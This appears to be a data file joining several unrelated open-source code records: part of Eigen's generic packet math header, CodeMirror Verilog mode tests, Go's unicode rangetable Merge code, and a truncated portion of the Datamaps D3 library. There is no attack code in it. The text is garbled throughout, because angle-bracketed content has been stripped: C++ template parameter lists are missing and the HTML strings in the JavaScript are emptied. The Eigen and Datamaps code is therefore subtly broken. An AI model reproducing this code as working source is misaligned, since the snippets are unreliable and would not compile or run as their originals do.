unpacket_traits::type pfirst(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns a packet where the element i contains the sum of the packet of \\a vec[i] */\ntemplate inline Packet\npreduxp(const Packet* vecs) { return vecs[0]; }\n\n/** \\internal \\returns the sum of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the product of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux_mul(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the min of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux_min(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the max of the elements of \\a a*/\ntemplate inline typename unpacket_traits::type predux_max(const Packet& a)\n{ return a; }\n\n/** \\internal \\returns the reversed elements of \\a a*/\ntemplate inline Packet preverse(const Packet& a)\n{ return a; }\n\n\n/** \\internal \\returns \\a a with real and imaginary part flipped (for complex type only) */\ntemplate inline Packet pcplxflip(const Packet& a)\n{ return Packet(imag(a),real(a)); }\n\n/**************************\n* Special math functions\n***************************/\n\n/** \\internal \\returns the sine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket psin(const Packet& a) { return sin(a); }\n\n/** \\internal \\returns the cosine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pcos(const Packet& a) { return cos(a); }\n\n/** \\internal \\returns the tan of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket ptan(const Packet& a) { return tan(a); }\n\n/** \\internal \\returns the arc sine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pasin(const Packet& a) { return asin(a); }\n\n/** \\internal \\returns the arc cosine of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pacos(const Packet& a) { return acos(a); }\n\n/** \\internal \\returns the exp of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket pexp(const Packet& a) { return exp(a); }\n\n/** \\internal \\returns the log of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket plog(const Packet& a) { return log(a); }\n\n/** \\internal \\returns the square-root of \\a a (coeff-wise) */\ntemplate EIGEN_DECLARE_FUNCTION_ALLOWING_MULTIPLE_DEFINITIONS\nPacket psqrt(const Packet& a) { return sqrt(a); }\n\n/***************************************************************************\n* The following functions might not have to be overwritten for vectorized types\n***************************************************************************/\n\n/** \\internal copy a packet with constant coeficient \\a a (e.g., [a,a,a,a]) to \\a *to. \\a to must be 16 bytes aligned */\n// NOTE: this function must really be templated on the packet type (think about different packet types for the same scalar type)\ntemplate\ninline void pstore1(typename unpacket_traits::type* to, const typename unpacket_traits::type& a)\n{\n pstore(to, pset1(a));\n}\n\n/** \\internal \\returns a * b + c (coeff-wise) */\ntemplate inline Packet\npmadd(const Packet& a,\n const Packet& b,\n const Packet& c)\n{ return padd(pmul(a, b),c); }\n\n/** \\internal \\returns a packet version of \\a *from.\n * If LoadMode equals #Aligned, \\a from must be 16 bytes aligned */\ntemplate\ninline Packet ploadt(const typename unpacket_traits::type* from)\n{\n if(LoadMode == Aligned)\n return pload(from);\n else\n return ploadu(from);\n}\n\n/** \\internal copy the packet \\a from to \\a *to.\n * If StoreMode equals #Aligned, \\a to must be 16 bytes aligned */\ntemplate\ninline void pstoret(Scalar* to, const Packet& from)\n{\n if(LoadMode == Aligned)\n pstore(to, from);\n else\n pstoreu(to, from);\n}\n\n/** \\internal default implementation of palign() allowing partial specialization */\ntemplate\nstruct palign_impl\n{\n // by default data are aligned, so there is nothing to be done :)\n inline static void run(PacketType&, const PacketType&) {}\n};\n\n/** \\internal update \\a first using the concatenation of the \\a Offset last elements\n * of \\a first and packet_size minus \\a Offset first elements of \\a second */\ntemplate\ninline void palign(PacketType& first, const PacketType& second)\n{\n palign_impl::run(first,second);\n}\n\n/***************************************************************************\n* Fast complex products (GCC generates a function call which is very slow)\n***************************************************************************/\n\ntemplate<> inline std::complex pmul(const std::complex& a, const std::complex& b)\n{ return std::complex(real(a)*real(b) - imag(a)*imag(b), imag(a)*real(b) + real(a)*imag(b)); }\n\ntemplate<> inline std::complex pmul(const std::complex& a, const std::complex& b)\n{ return std::complex(real(a)*real(b) - imag(a)*imag(b), imag(a)*real(b) + real(a)*imag(b)); }\n\n} // end namespace internal\n\n#endif // EIGEN_GENERIC_PACKET_MATH_H\n\n"} +{"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n(function() {\n var mode = CodeMirror.getMode({indentUnit: 4}, \"verilog\");\n function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }\n\n MT(\"binary_literals\",\n \"[number 1'b0]\",\n \"[number 1'b1]\",\n \"[number 1'bx]\",\n \"[number 1'bz]\",\n \"[number 1'bX]\",\n \"[number 1'bZ]\",\n \"[number 1'B0]\",\n \"[number 1'B1]\",\n \"[number 1'Bx]\",\n \"[number 1'Bz]\",\n \"[number 1'BX]\",\n \"[number 1'BZ]\",\n \"[number 1'b0]\",\n \"[number 1'b1]\",\n \"[number 2'b01]\",\n \"[number 2'bxz]\",\n \"[number 2'b11]\",\n \"[number 2'b10]\",\n \"[number 2'b1Z]\",\n \"[number 12'b0101_0101_0101]\",\n \"[number 1'b 0]\",\n \"[number 'b0101]\"\n );\n\n MT(\"octal_literals\",\n \"[number 3'o7]\",\n \"[number 3'O7]\",\n \"[number 3'so7]\",\n \"[number 3'SO7]\"\n );\n\n MT(\"decimal_literals\",\n \"[number 0]\",\n \"[number 1]\",\n \"[number 7]\",\n \"[number 123_456]\",\n \"[number 'd33]\",\n \"[number 8'd255]\",\n \"[number 8'D255]\",\n \"[number 8'sd255]\",\n \"[number 8'SD255]\",\n \"[number 32'd123]\",\n \"[number 32 'd123]\",\n \"[number 32 'd 123]\"\n );\n\n MT(\"hex_literals\",\n \"[number 4'h0]\",\n \"[number 4'ha]\",\n \"[number 4'hF]\",\n \"[number 4'hx]\",\n \"[number 4'hz]\",\n \"[number 4'hX]\",\n \"[number 4'hZ]\",\n \"[number 32'hdc78]\",\n \"[number 32'hDC78]\",\n \"[number 32 'hDC78]\",\n \"[number 32'h DC78]\",\n \"[number 32 'h DC78]\",\n \"[number 32'h44x7]\",\n \"[number 32'hFFF?]\"\n );\n\n MT(\"real_number_literals\",\n \"[number 1.2]\",\n \"[number 0.1]\",\n \"[number 2394.26331]\",\n \"[number 1.2E12]\",\n \"[number 1.2e12]\",\n \"[number 1.30e-2]\",\n \"[number 0.1e-0]\",\n \"[number 23E10]\",\n \"[number 29E-2]\",\n \"[number 236.123_763_e-12]\"\n );\n\n MT(\"operators\",\n \"[meta ^]\"\n );\n\n MT(\"keywords\",\n \"[keyword logic]\",\n \"[keyword logic] [variable foo]\",\n \"[keyword reg] [variable abc]\"\n );\n\n MT(\"variables\",\n \"[variable _leading_underscore]\",\n \"[variable _if]\",\n \"[number 12] [variable foo]\",\n \"[variable foo] [number 14]\"\n );\n\n MT(\"tick_defines\",\n \"[def `FOO]\",\n \"[def `foo]\",\n \"[def `FOO_bar]\"\n );\n\n MT(\"system_calls\",\n \"[meta $display]\",\n \"[meta $vpi_printf]\"\n );\n\n MT(\"line_comment\", \"[comment // Hello world]\");\n\n // Alignment tests\n MT(\"align_port_map_style1\",\n /**\n * mod mod(.a(a),\n * .b(b)\n * );\n */\n \"[variable mod] [variable mod][bracket (].[variable a][bracket (][variable a][bracket )],\",\n \" .[variable b][bracket (][variable b][bracket )]\",\n \" [bracket )];\",\n \"\"\n );\n\n MT(\"align_port_map_style2\",\n /**\n * mod mod(\n * .a(a),\n * .b(b)\n * );\n */\n \"[variable mod] [variable mod][bracket (]\",\n \" .[variable a][bracket (][variable a][bracket )],\",\n \" .[variable b][bracket (][variable b][bracket )]\",\n \"[bracket )];\",\n \"\"\n );\n\n // Indentation tests\n MT(\"indent_single_statement_if\",\n \"[keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword break];\",\n \"\"\n );\n\n MT(\"no_indent_after_single_line_if\",\n \"[keyword if] [bracket (][variable foo][bracket )] [keyword break];\",\n \"\"\n );\n\n MT(\"indent_after_if_begin_same_line\",\n \"[keyword if] [bracket (][variable foo][bracket )] [keyword begin]\",\n \" [keyword break];\",\n \" [keyword break];\",\n \"[keyword end]\",\n \"\"\n );\n\n MT(\"indent_after_if_begin_next_line\",\n \"[keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword begin]\",\n \" [keyword break];\",\n \" [keyword break];\",\n \" [keyword end]\",\n \"\"\n );\n\n MT(\"indent_single_statement_if_else\",\n \"[keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword break];\",\n \"[keyword else]\",\n \" [keyword break];\",\n \"\"\n );\n\n MT(\"indent_if_else_begin_same_line\",\n \"[keyword if] [bracket (][variable foo][bracket )] [keyword begin]\",\n \" [keyword break];\",\n \" [keyword break];\",\n \"[keyword end] [keyword else] [keyword begin]\",\n \" [keyword break];\",\n \" [keyword break];\",\n \"[keyword end]\",\n \"\"\n );\n\n MT(\"indent_if_else_begin_next_line\",\n \"[keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword begin]\",\n \" [keyword break];\",\n \" [keyword break];\",\n \" [keyword end]\",\n \"[keyword else]\",\n \" [keyword begin]\",\n \" [keyword break];\",\n \" [keyword break];\",\n \" [keyword end]\",\n \"\"\n );\n\n MT(\"indent_if_nested_without_begin\",\n \"[keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword if] [bracket (][variable foo][bracket )]\",\n \" [keyword break];\",\n \"\"\n );\n\n MT(\"indent_case\",\n \"[keyword case] [bracket (][variable state][bracket )]\",\n \" [variable FOO]:\",\n \" [keyword break];\",\n \" [variable BAR]:\",\n \" [keyword break];\",\n \"[keyword endcase]\",\n \"\"\n );\n\n MT(\"unindent_after_end_with_preceding_text\",\n \"[keyword begin]\",\n \" [keyword break]; [keyword end]\",\n \"\"\n );\n\n MT(\"export_function_one_line_does_not_indent\",\n \"[keyword export] [string \\\"DPI-C\\\"] [keyword function] [variable helloFromSV];\",\n \"\"\n );\n\n MT(\"export_task_one_line_does_not_indent\",\n \"[keyword export] [string \\\"DPI-C\\\"] [keyword task] [variable helloFromSV];\",\n \"\"\n );\n\n MT(\"export_function_two_lines_indents_properly\",\n \"[keyword export]\",\n \" [string \\\"DPI-C\\\"] [keyword function] [variable helloFromSV];\",\n \"\"\n );\n\n MT(\"export_task_two_lines_indents_properly\",\n \"[keyword export]\",\n \" [string \\\"DPI-C\\\"] [keyword task] [variable helloFromSV];\",\n \"\"\n );\n\n MT(\"import_function_one_line_does_not_indent\",\n \"[keyword import] [string \\\"DPI-C\\\"] [keyword function] [variable helloFromC];\",\n \"\"\n );\n\n MT(\"import_task_one_line_does_not_indent\",\n \"[keyword import] [string \\\"DPI-C\\\"] [keyword task] [variable helloFromC];\",\n \"\"\n );\n\n MT(\"import_package_single_line_does_not_indent\",\n \"[keyword import] [variable p]::[variable x];\",\n \"[keyword import] [variable p]::[variable y];\",\n \"\"\n );\n\n MT(\"covergoup_with_function_indents_properly\",\n \"[keyword covergroup] [variable cg] [keyword with] [keyword function] [variable sample][bracket (][keyword bit] [variable b][bracket )];\",\n \" [variable c] : [keyword coverpoint] [variable c];\",\n \"[keyword endgroup]: [variable cg]\",\n \"\"\n );\n\n})();\n"} +{"text": "// Copyright 2015 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage rangetable\n\nimport (\n\t\"unicode\"\n)\n\n// atEnd is used to mark a completed iteration.\nconst atEnd = unicode.MaxRune + 1\n\n// Merge returns a new RangeTable that is the union of the given tables.\n// It can also be used to compact user-created RangeTables. The entries in\n// R16 and R32 for any given RangeTable should be sorted and non-overlapping.\n//\n// A lookup in the resulting table can be several times faster than using In\n// directly on the ranges. Merge is an expensive operation, however, and only\n// makes sense if one intends to use the result for more than a couple of\n// hundred lookups.\nfunc Merge(ranges ...*unicode.RangeTable) *unicode.RangeTable {\n\trt := &unicode.RangeTable{}\n\tif len(ranges) == 0 {\n\t\treturn rt\n\t}\n\n\titer := tablesIter(make([]tableIndex, len(ranges)))\n\n\tfor i, t := range ranges {\n\t\titer[i] = tableIndex{t, 0, atEnd}\n\t\tif len(t.R16) > 0 {\n\t\t\titer[i].next = rune(t.R16[0].Lo)\n\t\t}\n\t}\n\n\tif r0 := iter.next16(); r0.Stride != 0 {\n\t\tfor {\n\t\t\tr1 := iter.next16()\n\t\t\tif r1.Stride == 0 {\n\t\t\t\trt.R16 = append(rt.R16, r0)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tstride := r1.Lo - r0.Hi\n\t\t\tif (r1.Lo == r1.Hi || stride == r1.Stride) && (r0.Lo == r0.Hi || stride == r0.Stride) {\n\t\t\t\t// Fully merge the next range into the previous one.\n\t\t\t\tr0.Hi, r0.Stride = r1.Hi, stride\n\t\t\t\tcontinue\n\t\t\t} else if stride == r0.Stride {\n\t\t\t\t// Move the first element of r1 to r0. This may eliminate an\n\t\t\t\t// entry.\n\t\t\t\tr0.Hi = r1.Lo\n\t\t\t\tr0.Stride = stride\n\t\t\t\tr1.Lo = r1.Lo + r1.Stride\n\t\t\t\tif r1.Lo > r1.Hi {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\trt.R16 = append(rt.R16, r0)\n\t\t\tr0 = r1\n\t\t}\n\t}\n\n\tfor i, t := range ranges {\n\t\titer[i] = tableIndex{t, 0, atEnd}\n\t\tif len(t.R32) > 0 {\n\t\t\titer[i].next = rune(t.R32[0].Lo)\n\t\t}\n\t}\n\n\tif r0 := iter.next32(); r0.Stride != 0 {\n\t\tfor {\n\t\t\tr1 := iter.next32()\n\t\t\tif r1.Stride == 0 {\n\t\t\t\trt.R32 = append(rt.R32, r0)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tstride := r1.Lo - r0.Hi\n\t\t\tif (r1.Lo == r1.Hi || stride == r1.Stride) && (r0.Lo == r0.Hi || stride == r0.Stride) {\n\t\t\t\t// Fully merge the next range into the previous one.\n\t\t\t\tr0.Hi, r0.Stride = r1.Hi, stride\n\t\t\t\tcontinue\n\t\t\t} else if stride == r0.Stride {\n\t\t\t\t// Move the first element of r1 to r0. This may eliminate an\n\t\t\t\t// entry.\n\t\t\t\tr0.Hi = r1.Lo\n\t\t\t\tr1.Lo = r1.Lo + r1.Stride\n\t\t\t\tif r1.Lo > r1.Hi {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\trt.R32 = append(rt.R32, r0)\n\t\t\tr0 = r1\n\t\t}\n\t}\n\n\tfor i := 0; i < len(rt.R16) && rt.R16[i].Hi <= unicode.MaxLatin1; i++ {\n\t\trt.LatinOffset = i + 1\n\t}\n\n\treturn rt\n}\n\ntype tableIndex struct {\n\tt *unicode.RangeTable\n\tp uint32\n\tnext rune\n}\n\ntype tablesIter []tableIndex\n\n// sortIter does an insertion sort using the next field of tableIndex. Insertion\n// sort is a good sorting algorithm for this case.\nfunc sortIter(t []tableIndex) {\n\tfor i := range t {\n\t\tfor j := i; j > 0 && t[j-1].next > t[j].next; j-- {\n\t\t\tt[j], t[j-1] = t[j-1], t[j]\n\t\t}\n\t}\n}\n\n// next16 finds the ranged to be added to the table. If ranges overlap between\n// multiple tables it clips the result to a non-overlapping range if the\n// elements are not fully subsumed. It returns a zero range if there are no more\n// ranges.\nfunc (ti tablesIter) next16() unicode.Range16 {\n\tsortIter(ti)\n\n\tt0 := ti[0]\n\tif t0.next == atEnd {\n\t\treturn unicode.Range16{}\n\t}\n\tr0 := t0.t.R16[t0.p]\n\tr0.Lo = uint16(t0.next)\n\n\t// We restrict the Hi of the current range if it overlaps with another range.\n\tfor i := range ti {\n\t\ttn := ti[i]\n\t\t// Since our tableIndices are sorted by next, we can break if the there\n\t\t// is no overlap. The first value of a next range can always be merged\n\t\t// into the current one, so we can break in case of equality as well.\n\t\tif rune(r0.Hi) <= tn.next {\n\t\t\tbreak\n\t\t}\n\t\trn := tn.t.R16[tn.p]\n\t\trn.Lo = uint16(tn.next)\n\n\t\t// Limit r0.Hi based on next ranges in list, but allow it to overlap\n\t\t// with ranges as long as it subsumes it.\n\t\tm := (rn.Lo - r0.Lo) % r0.Stride\n\t\tif m == 0 && (rn.Stride == r0.Stride || rn.Lo == rn.Hi) {\n\t\t\t// Overlap, take the min of the two Hi values: for simplicity's sake\n\t\t\t// we only process one range at a time.\n\t\t\tif r0.Hi > rn.Hi {\n\t\t\t\tr0.Hi = rn.Hi\n\t\t\t}\n\t\t} else {\n\t\t\t// Not a compatible stride. Set to the last possible value before\n\t\t\t// rn.Lo, but ensure there is at least one value.\n\t\t\tif x := rn.Lo - m; r0.Lo <= x {\n\t\t\t\tr0.Hi = x\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Update the next values for each table.\n\tfor i := range ti {\n\t\ttn := &ti[i]\n\t\tif rune(r0.Hi) < tn.next {\n\t\t\tbreak\n\t\t}\n\t\trn := tn.t.R16[tn.p]\n\t\tstride := rune(rn.Stride)\n\t\ttn.next += stride * (1 + ((rune(r0.Hi) - tn.next) / stride))\n\t\tif rune(rn.Hi) < tn.next {\n\t\t\tif tn.p++; int(tn.p) == len(tn.t.R16) {\n\t\t\t\ttn.next = atEnd\n\t\t\t} else {\n\t\t\t\ttn.next = rune(tn.t.R16[tn.p].Lo)\n\t\t\t}\n\t\t}\n\t}\n\n\tif r0.Lo == r0.Hi {\n\t\tr0.Stride = 1\n\t}\n\n\treturn r0\n}\n\n// next32 finds the ranged to be added to the table. If ranges overlap between\n// multiple tables it clips the result to a non-overlapping range if the\n// elements are not fully subsumed. It returns a zero range if there are no more\n// ranges.\nfunc (ti tablesIter) next32() unicode.Range32 {\n\tsortIter(ti)\n\n\tt0 := ti[0]\n\tif t0.next == atEnd {\n\t\treturn unicode.Range32{}\n\t}\n\tr0 := t0.t.R32[t0.p]\n\tr0.Lo = uint32(t0.next)\n\n\t// We restrict the Hi of the current range if it overlaps with another range.\n\tfor i := range ti {\n\t\ttn := ti[i]\n\t\t// Since our tableIndices are sorted by next, we can break if the there\n\t\t// is no overlap. The first value of a next range can always be merged\n\t\t// into the current one, so we can break in case of equality as well.\n\t\tif rune(r0.Hi) <= tn.next {\n\t\t\tbreak\n\t\t}\n\t\trn := tn.t.R32[tn.p]\n\t\trn.Lo = uint32(tn.next)\n\n\t\t// Limit r0.Hi based on next ranges in list, but allow it to overlap\n\t\t// with ranges as long as it subsumes it.\n\t\tm := (rn.Lo - r0.Lo) % r0.Stride\n\t\tif m == 0 && (rn.Stride == r0.Stride || rn.Lo == rn.Hi) {\n\t\t\t// Overlap, take the min of the two Hi values: for simplicity's sake\n\t\t\t// we only process one range at a time.\n\t\t\tif r0.Hi > rn.Hi {\n\t\t\t\tr0.Hi = rn.Hi\n\t\t\t}\n\t\t} else {\n\t\t\t// Not a compatible stride. Set to the last possible value before\n\t\t\t// rn.Lo, but ensure there is at least one value.\n\t\t\tif x := rn.Lo - m; r0.Lo <= x {\n\t\t\t\tr0.Hi = x\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Update the next values for each table.\n\tfor i := range ti {\n\t\ttn := &ti[i]\n\t\tif rune(r0.Hi) < tn.next {\n\t\t\tbreak\n\t\t}\n\t\trn := tn.t.R32[tn.p]\n\t\tstride := rune(rn.Stride)\n\t\ttn.next += stride * (1 + ((rune(r0.Hi) - tn.next) / stride))\n\t\tif rune(rn.Hi) < tn.next {\n\t\t\tif tn.p++; int(tn.p) == len(tn.t.R32) {\n\t\t\t\ttn.next = atEnd\n\t\t\t} else {\n\t\t\t\ttn.next = rune(tn.t.R32[tn.p].Lo)\n\t\t\t}\n\t\t}\n\t}\n\n\tif r0.Lo == r0.Hi {\n\t\tr0.Stride = 1\n\t}\n\n\treturn r0\n}\n"} +{"text": "\n\n \n \n \n \n \n \n \n "} +{"text": "(function() {\n var svg;\n\n //save off default references\n var d3 = window.d3, topojson = window.topojson;\n\n var defaultOptions = {\n scope: 'world',\n responsive: false,\n aspectRatio: 0.5625,\n setProjection: setProjection,\n projection: 'equirectangular',\n dataType: 'json',\n data: {},\n done: function() {},\n fills: {\n defaultFill: '#ABDDA4'\n },\n filters: {},\n geographyConfig: {\n dataUrl: null,\n hideAntarctica: true,\n hideHawaiiAndAlaska : false,\n borderWidth: 1,\n borderColor: '#FDFDFD',\n popupTemplate: function(geography, data) {\n return '
' + geography.properties.name + '
';\n },\n popupOnHover: true,\n highlightOnHover: true,\n highlightFillColor: '#FC8D59',\n highlightBorderColor: 'rgba(250, 15, 160, 0.2)',\n highlightBorderWidth: 2\n },\n projectionConfig: {\n rotation: [97, 0]\n },\n bubblesConfig: {\n borderWidth: 2,\n borderColor: '#FFFFFF',\n popupOnHover: true,\n radius: null,\n popupTemplate: function(geography, data) {\n return '
' + data.name + '
';\n },\n fillOpacity: 0.75,\n animate: true,\n highlightOnHover: true,\n highlightFillColor: '#FC8D59',\n highlightBorderColor: 'rgba(250, 15, 160, 0.2)',\n highlightBorderWidth: 2,\n highlightFillOpacity: 0.85,\n exitDelay: 100,\n key: JSON.stringify\n },\n arcConfig: {\n strokeColor: '#DD1C77',\n strokeWidth: 1,\n arcSharpness: 1,\n animationSpeed: 600\n }\n };\n\n /*\n Getter for value. If not declared on datumValue, look up the chain into optionsValue\n */\n function val( datumValue, optionsValue, context ) {\n if ( typeof context === 'undefined' ) {\n context = optionsValue;\n optionsValues = undefined;\n }\n var value = typeof datumValue !== 'undefined' ? datumValue : optionsValue;\n\n if (typeof value === 'undefined') {\n return null;\n }\n\n if ( typeof value === 'function' ) {\n var fnContext = [context];\n if ( context.geography ) {\n fnContext = [context.geography, context.data];\n }\n return value.apply(null, fnContext);\n }\n else {\n return value;\n }\n }\n\n function addContainer( element, height, width ) {\n this.svg = d3.select( element ).append('svg')\n .attr('width', width || element.offsetWidth)\n .attr('data-width', width || element.offsetWidth)\n .attr('class', 'datamap')\n .attr('height', height || element.offsetHeight)\n .style('overflow', 'hidden'); // IE10+ doesn't respect height/width when map is zoomed in\n\n if (this.options.responsive) {\n d3.select(this.options.element).style({'position': 'relative', 'padding-bottom': (this.options.aspectRatio*100) + '%'});\n d3.select(this.options.element).select('svg').style({'position': 'absolute', 'width': '100%', 'height': '100%'});\n d3.select(this.options.element).select('svg').select('g').selectAll('path').style('vector-effect', 'non-scaling-stroke');\n\n }\n\n return this.svg;\n }\n\n // setProjection takes the svg element and options\n function setProjection( element, options ) {\n var width = options.width || element.offsetWidth;\n var height = options.height || element.offsetHeight;\n var projection, path;\n var svg = this.svg;\n\n if ( options && typeof options.scope === 'undefined') {\n options.scope = 'world';\n }\n\n if ( options.scope === 'usa' ) {\n projection = d3.geo.albersUsa()\n .scale(width)\n .translate([width / 2, height / 2]);\n }\n else if ( options.scope === 'world' ) {\n projection = d3.geo[options.projection]()\n .scale((width + 1) / 2 / Math.PI)\n .translate([width / 2, height / (options.projection === \"mercator\" ? 1.45 : 1.8)]);\n }\n\n if ( options.projection === 'orthographic' ) {\n\n svg.append(\"defs\").append(\"path\")\n .datum({type: \"Sphere\"})\n .attr(\"id\", \"sphere\")\n .attr(\"d\", path);\n\n svg.append(\"use\")\n .attr(\"class\", \"stroke\")\n .attr(\"xlink:href\", \"#sphere\");\n\n svg.append(\"use\")\n .attr(\"class\", \"fill\")\n .attr(\"xlink:href\", \"#sphere\");\n projection.scale(250).clipAngle(90).rotate(options.projectionConfig.rotation)\n }\n\n path = d3.geo.path()\n .projection( projection );\n\n return {path: path, projection: projection};\n }\n\n function addStyleBlock() {\n if ( d3.select('.datamaps-style-block').empty() ) {\n d3.select('head').append('style').attr('class', 'datamaps-style-block')\n .html('.datamap path.datamaps-graticule { fill: none; stroke: #777; stroke-width: 0.5px; stroke-opacity: .5; pointer-events: none; } .datamap .labels {pointer-events: none;} .datamap path {stroke: #FFFFFF; stroke-width: 1px;} .datamaps-legend dt, .datamaps-legend dd { float: left; margin: 0 3px 0 0;} .datamaps-legend dd {width: 20px; margin-right: 6px; border-radius: 3px;} .datamaps-legend {padding-bottom: 20px; z-index: 1001; position: absolute; left: 4px; font-size: 12px; font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;} .datamaps-hoverover {display: none; font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif; } .hoverinfo {padding: 4px; border-radius: 1px; background-color: #FFF; box-shadow: 1px 1px 5px #CCC; font-size: 12px; border: 1px solid #CCC; } .hoverinfo hr {border:1px dotted #CCC; }');\n }\n }\n\n function drawSubunits( data ) {\n var fillData = this.options.fills,\n colorCodeData = this.options.data || {},\n geoConfig = this.options.geographyConfig;\n\n\n var subunits = this.svg.select('g.datamaps-subunits');\n if ( subunits.empty() ) {\n subunits = this.addLayer('datamaps-subunits', null, true);\n }\n\n var geoData = topojson.feature( data, data.objects[ this.options.scope ] ).features;\n if ( geoConfig.hideAntarctica ) {\n geoData = geoData.filter(function(feature) {\n return feature.id !== \"ATA\";\n });\n }\n\n if ( geoConfig.hideHawaiiAndAlaska ) {\n geoData = geoData.filter(function(feature) {\n return feature.id !== \"HI\" && feature.id !== 'AK';\n });\n }\n\n var geo = subunits.selectAll('path.datamaps-subunit').data( geoData );\n\n geo.enter()\n .append('path')\n .attr('d', this.path)\n .attr('class', function(d) {\n return 'datamaps-subunit ' + d.id;\n })\n .attr('data-info', function(d) {\n return JSON.stringify( colorCodeData[d.id]);\n })\n .style('fill', function(d) {\n //if fillKey - use that\n //otherwise check 'fill'\n //otherwise check 'defaultFill'\n var fillColor;\n\n var datum = colorCodeData[d.id];\n if ( datum && datum.fillKey ) {\n fillColor = fillData[ val(datum.fillKey, {data: colorCodeData[d.id], geography: d}) ];\n }\n\n if ( typeof fillColor === 'undefined' ) {\n fillColor = val(datum && datum.fillColor, fillData.defaultFill, {data: colorCodeData[d.id], geography: d});\n }\n\n return fillColor;\n })\n .style('stroke-width', geoConfig.borderWidth)\n .style('stroke', geoConfig.borderColor);\n }\n\n function handleGeographyConfig () {\n var hoverover;\n var svg = this.svg;\n var self = this;\n var options = this.options.geographyConfig;\n\n if ( options.highlightOnHover || options.popupOnHover ) {\n svg.selectAll('.datamaps-subunit')\n .on('mouseover', function(d) {\n var $this = d3.select(this);\n var datum = self.options.data[d.id] || {};\n if ( options.highlightOnHover ) {\n var previousAttributes = {\n 'fill': $this.style('fill'),\n 'stroke': $this.style('stroke'),\n 'stroke-width': $this.style('stroke-width'),\n 'fill-opacity': $this.style('fill-opacity')\n };\n\n $this\n .style('fill', val(datum.highlightFillColor, options.highlightFillColor, datum))\n .style('stroke', val(datum.highlightBorderColor, options.highlightBorderColor, datum))\n .style('stroke-width', val(datum.highlightBorderWidth, options.highlightBorderWidth, datum))\n .style('fill-opacity', val(datum.highlightFillOpacity, options.highlightFillOpacity, datum))\n .attr('data-previousAttributes', JSON.stringify(previousAttributes));\n\n //as per discussion on https://github.com/markmarkoh/datamaps/issues/19\n if ( ! /((MSIE)|(Trident))/.test(navigator.userAgent) ) {\n moveToFront.call(this);\n }\n }\n\n if ( options.popupOnHover ) {\n self.updatePopup($this, d, options, svg);\n }\n })\n .on('mouseout', function() {\n var $this = d3.select(this);\n\n if (options.highlightOnHover) {\n //reapply previous attributes\n var previousAttributes = JSON.parse( $this.attr('data-previousAttributes') );\n for ( var attr in previousAttributes ) {\n $this.style(attr, previousAttributes[attr]);\n }\n }\n $this.on('mousemove', null);\n d3.selectAll('.datamaps-hoverover').style('display', 'none');\n });\n }\n\n function moveToFront() {\n this.parentNode.appendChild(this);\n }\n }\n\n //plugin to add a simple map legend\n function addLegend(layer, data, options) {\n data = data || {};\n if ( !this.options.fills ) {\n return;\n }\n\n var html = '
';\n var label = '';\n if ( data.legendTitle ) {\n html = '

' + data.legendTitle + '

' + html;\n }\n for ( var fillKey in this.options.fills ) {\n\n if ( fillKey === 'defaultFill') {\n if (! data.defaultFillName ) {\n continue;\n }\n label = data.defaultFillName;\n } else {\n if (data.labels && data.labels[fillKey]) {\n label = data.labels[fillKey];\n } else {\n label= fillKey + ': ';\n }\n }\n html += '
' + label + '
';\n html += '
 
';\n }\n html += '
';\n\n var hoverover = d3.select( this.options.element ).append('div')\n .attr('class', 'datamaps-legend')\n .html(html);\n }\n\n function addGraticule ( layer, options ) {\n var graticule = d3.geo.graticule();\n this.svg.insert(\"path\", '.datamaps-subunits')\n .datum(graticule)\n .attr(\"class\", \"datamaps-graticule\")\n .attr(\"d\", this.path);\n }\n\n function handleArcs (layer, data, options) {\n var self = this,\n svg = this.svg;\n\n if ( !data || (data && !data.slice) ) {\n throw \"Datamaps Error - arcs must be an array\";\n }\n\n // For some reason arc options were put in an `options` object instead of the parent arc\n // I don't like this, so to match bubbles and other plugins I'm moving it\n // This is to keep backwards compatability\n for ( var i = 0; i < data.length; i++ ) {\n data[i] = defaults(data[i], data[i].options);\n delete data[i].options;\n }\n\n if ( typeof options === \"undefined\" ) {\n options = defaultOptions.arcConfig;\n }\n\n var arcs = layer.selectAll('path.datamaps-arc').data( data, JSON.stringify );\n\n var path = d3.geo.path()\n .projection(self.projection);\n\n arcs\n .enter()\n .append('svg:path')\n 